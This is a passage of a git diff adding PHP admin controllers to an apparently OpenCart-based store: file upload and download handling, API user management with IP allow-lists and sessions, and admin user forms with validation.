+ $data['results'] = sprintf($this->language->get('text_pagination'), ($upload_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($upload_total - $this->config->get('config_limit_admin'))) ? $upload_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $upload_total, ceil($upload_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('tool/upload', $data));
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'tool/upload')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function download() {
+ $this->load->model('tool/upload');
+
+ $this->load->language('tool/upload');
+
+ if (isset($this->request->get['code'])) {
+ $code = $this->request->get['code'];
+ } else {
+ $code = 0;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $upload_info = $this->model_tool_upload->getUploadByCode($code);
+
+ if ($upload_info) {
+ $file = DIR_UPLOAD . $upload_info['filename'];
+ $mask = basename($upload_info['name']);
+
+ if (file_exists($file) && filesize($file) > 0) {
+ $this->response->addheader('Pragma: public');
+ $this->response->addheader('Expires: 0');
+ $this->response->addheader('Content-Description: File Transfer');
+ $this->response->addheader('Content-Type: application/octet-stream');
+ $this->response->addheader('Content-Disposition: attachment; filename="' . ($mask ? $mask : basename($file)) . '"');
+ $this->response->addheader('Content-Transfer-Encoding: binary');
+
+ $this->response->setOutput(file_get_contents($file, FILE_USE_INCLUDE_PATH, null));
+ } else {
+ $this->session->data['error'] = $this->language->get('error_file');
+
+ $this->response->redirect($this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ } else {
+ $this->session->data['error'] = $this->language->get('error_upload');
+
+ $this->response->redirect($this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ }
+
+ public function upload() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'tool/upload')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ if (!empty($this->request->files['file']['name']) && is_file($this->request->files['file']['tmp_name'])) {
+ // Sanitize the filename
+ $filename = html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8');
+
+ if ((utf8_strlen($filename) < 3) || (utf8_strlen($filename) > 128)) {
+ $json['error'] = $this->language->get('error_filename');
+ }
+
+ // Allowed file extension types
+ $allowed = array();
+
+ $extension_allowed = preg_replace('~\r?\n~', "\n", $this->config->get('config_file_ext_allowed'));
+
+ $filetypes = explode("\n", $extension_allowed);
+
+ foreach ($filetypes as $filetype) {
+ $allowed[] = trim($filetype);
+ }
+
+ if (!in_array(strtolower(substr(strrchr($filename, '.'), 1)), $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Allowed file mime types
+ $allowed = array();
+
+ $mime_allowed = preg_replace('~\r?\n~', "\n", $this->config->get('config_file_mime_allowed'));
+
+ $filetypes = explode("\n", $mime_allowed);
+
+ foreach ($filetypes as $filetype) {
+ $allowed[] = trim($filetype);
+ }
+
+ if (!in_array($this->request->files['file']['type'], $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Check to see if any PHP files are trying to be uploaded
+ $content = file_get_contents($this->request->files['file']['tmp_name']);
+
+ if (preg_match('/\<\?php/i', $content)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Return any upload error
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+ }
+
+ if (!$json) {
+ $file = $filename . '.' . token(32);
+
+ move_uploaded_file($this->request->files['file']['tmp_name'], DIR_UPLOAD . $file);
+
+ // Hide the uploaded file name so people can not link to it directly.
+ $this->load->model('tool/upload');
+
+ $json['code'] = $this->model_tool_upload->addUpload($filename, $file);
+
+ $json['success'] = $this->language->get('text_upload');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/user/api.php b/public/admin/controller/user/api.php
new file mode 100644
index 0000000..1b66390
--- /dev/null
+++ b/public/admin/controller/user/api.php
@@ -0,0 +1,417 @@
+load->language('user/api');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/api');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('user/api');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/api');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_api->addApi($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('user/api');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/api');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_api->editApi($this->request->get['api_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('user/api');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/api');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $api_id) {
+ $this->model_user_api->deleteApi($api_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'username';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('user/api/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('user/api/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['apis'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $user_total = $this->model_user_api->getTotalApis();
+
+ $results = $this->model_user_api->getApis($filter_data);
+
+ foreach ($results as $result) {
+ $data['apis'][] = array(
+ 'api_id' => $result['api_id'],
+ 'username' => $result['username'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'edit' => $this->url->link('user/api/edit', 'user_token=' . $this->session->data['user_token'] . '&api_id=' . $result['api_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_username'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . '&sort=username' . $url, true);
+ $data['sort_status'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . '&sort=date_added' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . '&sort=date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $user_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($user_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($user_total - $this->config->get('config_limit_admin'))) ? $user_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $user_total, ceil($user_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/api_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['api_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+ $data['text_ip'] = sprintf($this->language->get('text_ip'), $this->request->server['REMOTE_ADDR']);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['username'])) {
+ $data['error_username'] = $this->error['username'];
+ } else {
+ $data['error_username'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['api_id'])) {
+ $data['action'] = $this->url->link('user/api/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('user/api/edit', 'user_token=' . $this->session->data['user_token'] . '&api_id=' . $this->request->get['api_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['api_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $api_info = $this->model_user_api->getApi($this->request->get['api_id']);
+ }
+
+ if (isset($this->request->post['username'])) {
+ $data['username'] = $this->request->post['username'];
+ } elseif (!empty($api_info)) {
+ $data['username'] = $api_info['username'];
+ } else {
+ $data['username'] = '';
+ }
+
+ if (isset($this->request->post['key'])) {
+ $data['key'] = $this->request->post['key'];
+ } elseif (!empty($api_info)) {
+ $data['key'] = $api_info['key'];
+ } else {
+ $data['key'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($api_info)) {
+ $data['status'] = $api_info['status'];
+ } else {
+ $data['status'] = 0;
+ }
+
+ // IP
+ if (isset($this->request->post['api_ip'])) {
+ $data['api_ips'] = $this->request->post['api_ip'];
+ } elseif (isset($this->request->get['api_id'])) {
+ $data['api_ips'] = $this->model_user_api->getApiIps($this->request->get['api_id']);
+ } else {
+ $data['api_ips'] = array();
+ }
+
+ // Session
+ $data['api_sessions'] = array();
+
+ if (isset($this->request->get['api_id'])) {
+ $results = $this->model_user_api->getApiSessions($this->request->get['api_id']);
+
+ foreach ($results as $result) {
+ $data['api_sessions'][] = array(
+ 'api_session_id' => $result['api_session_id'],
+ 'session_id' => $result['session_id'],
+ 'ip' => $result['ip'],
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('datetime_format'), strtotime($result['date_modified']))
+ );
+ }
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/api_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'user/user')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['username'])) < 3) || (utf8_strlen(trim($this->request->post['username'])) > 64)) {
+ $this->error['username'] = $this->language->get('error_username');
+ }
+
+ if ((utf8_strlen($this->request->post['key']) < 64) || (utf8_strlen($this->request->post['key']) > 256)) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ if (!isset($this->error['warning']) && !isset($this->request->post['api_ip'])) {
+ $this->error['warning'] = $this->language->get('error_ip');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'user/api')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function deleteSession() {
+ $this->load->language('user/api');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'user/api')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('user/api');
+
+ $this->model_user_api->deleteApiSession($this->request->get['api_session_id']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/user/user.php b/public/admin/controller/user/user.php
new file mode 100644
index 0000000..a8674c4
--- /dev/null
+++ b/public/admin/controller/user/user.php
@@ -0,0 +1,495 @@
+load->language('user/user');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('user/user');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_user->addUser($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('user/user');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_user->editUser($this->request->get['user_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('user/user');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $user_id) {
+ $this->model_user_user->deleteUser($user_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'username';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('user/user/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('user/user/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['users'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $user_total = $this->model_user_user->getTotalUsers();
+
+ $results = $this->model_user_user->getUsers($filter_data);
+
+ foreach ($results as $result) {
+ $data['users'][] = array(
+ 'user_id' => $result['user_id'],
+ 'username' => $result['username'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('user/user/edit', 'user_token=' . $this->session->data['user_token'] . '&user_id=' . $result['user_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_username'] = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . '&sort=username' . $url, true);
+ $data['sort_status'] = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . '&sort=date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $user_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($user_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($user_total - $this->config->get('config_limit_admin'))) ? $user_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $user_total, ceil($user_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/user_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['user_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['username'])) {
+ $data['error_username'] = $this->error['username'];
+ } else {
+ $data['error_username'] = '';
+ }
+
+ if (isset($this->error['password'])) {
+ $data['error_password'] = $this->error['password'];
+ } else {
+ $data['error_password'] = '';
+ }
+
+ if (isset($this->error['confirm'])) {
+ $data['error_confirm'] = $this->error['confirm'];
+ } else {
+ $data['error_confirm'] = '';
+ }
+
+ if (isset($this->error['firstname'])) {
+ $data['error_firstname'] = $this->error['firstname'];
+ } else {
+ $data['error_firstname'] = '';
+ }
+
+ if (isset($this->error['lastname'])) {
+ $data['error_lastname'] = $this->error['lastname'];
+ } else {
+ $data['error_lastname'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['user_id'])) {
+ $data['action'] = $this->url->link('user/user/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('user/user/edit', 'user_token=' . $this->session->data['user_token'] . '&user_id=' . $this->request->get['user_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['user_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $user_info = $this->model_user_user->getUser($this->request->get['user_id']);
+ }
+
+ if (isset($this->request->post['username'])) {
+ $data['username'] = $this->request->post['username'];
+ } elseif (!empty($user_info)) {
+ $data['username'] = $user_info['username'];
+ } else {
+ $data['username'] = '';
+ }
+
+ if (isset($this->request->post['user_group_id'])) {
+ $data['user_group_id'] = $this->request->post['user_group_id'];
+ } elseif (!empty($user_info)) {
+ $data['user_group_id'] = $user_info['user_group_id'];
+ } else {
+ $data['user_group_id'] = '';
+ }
+
+ $this->load->model('user/user_group');
+
+ $data['user_groups'] = $this->model_user_user_group->getUserGroups();
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->post['confirm'])) {
+ $data['confirm'] = $this->request->post['confirm'];
+ } else {
+ $data['confirm'] = '';
+ }
+
+ if (isset($this->request->post['firstname'])) {
+ $data['firstname'] = $this->request->post['firstname'];
+ } elseif (!empty($user_info)) {
+ $data['firstname'] = $user_info['firstname'];
+ } else {
+ $data['firstname'] = '';
+ }
+
+ if (isset($this->request->post['lastname'])) {
+ $data['lastname'] = $this->request->post['lastname'];
+ } elseif (!empty($user_info)) {
+ $data['lastname'] = $user_info['lastname'];
+ } else {
+ $data['lastname'] = '';
+ }
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } elseif (!empty($user_info)) {
+ $data['email'] = $user_info['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($user_info)) {
+ $data['image'] = $user_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($user_info) && $user_info['image'] && is_file(DIR_IMAGE . $user_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($user_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($user_info)) {
+ $data['status'] = $user_info['status'];
+ } else {
+ $data['status'] = 0;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/user_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'user/user')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['username']) < 3) || (utf8_strlen($this->request->post['username']) > 20)) {
+ $this->error['username'] = $this->language->get('error_username');
+ }
+
+ $user_info = $this->model_user_user->getUserByUsername($this->request->post['username']);
+
+ if (!isset($this->request->get['user_id'])) {
+ if ($user_info) {
+ $this->error['warning'] = $this->language->get('error_exists_username');
+ }
+ } else {
+ if ($user_info && ($this->request->get['user_id'] != $user_info['user_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists_username');
+ }
+ }
+
+ if ((utf8_strlen(trim($this->request->post['firstname'])) < 1) || (utf8_strlen(trim($this->request->post['firstname'])) > 32)) {
+ $this->error['firstname'] = $this->language->get('error_firstname');
+ }
+
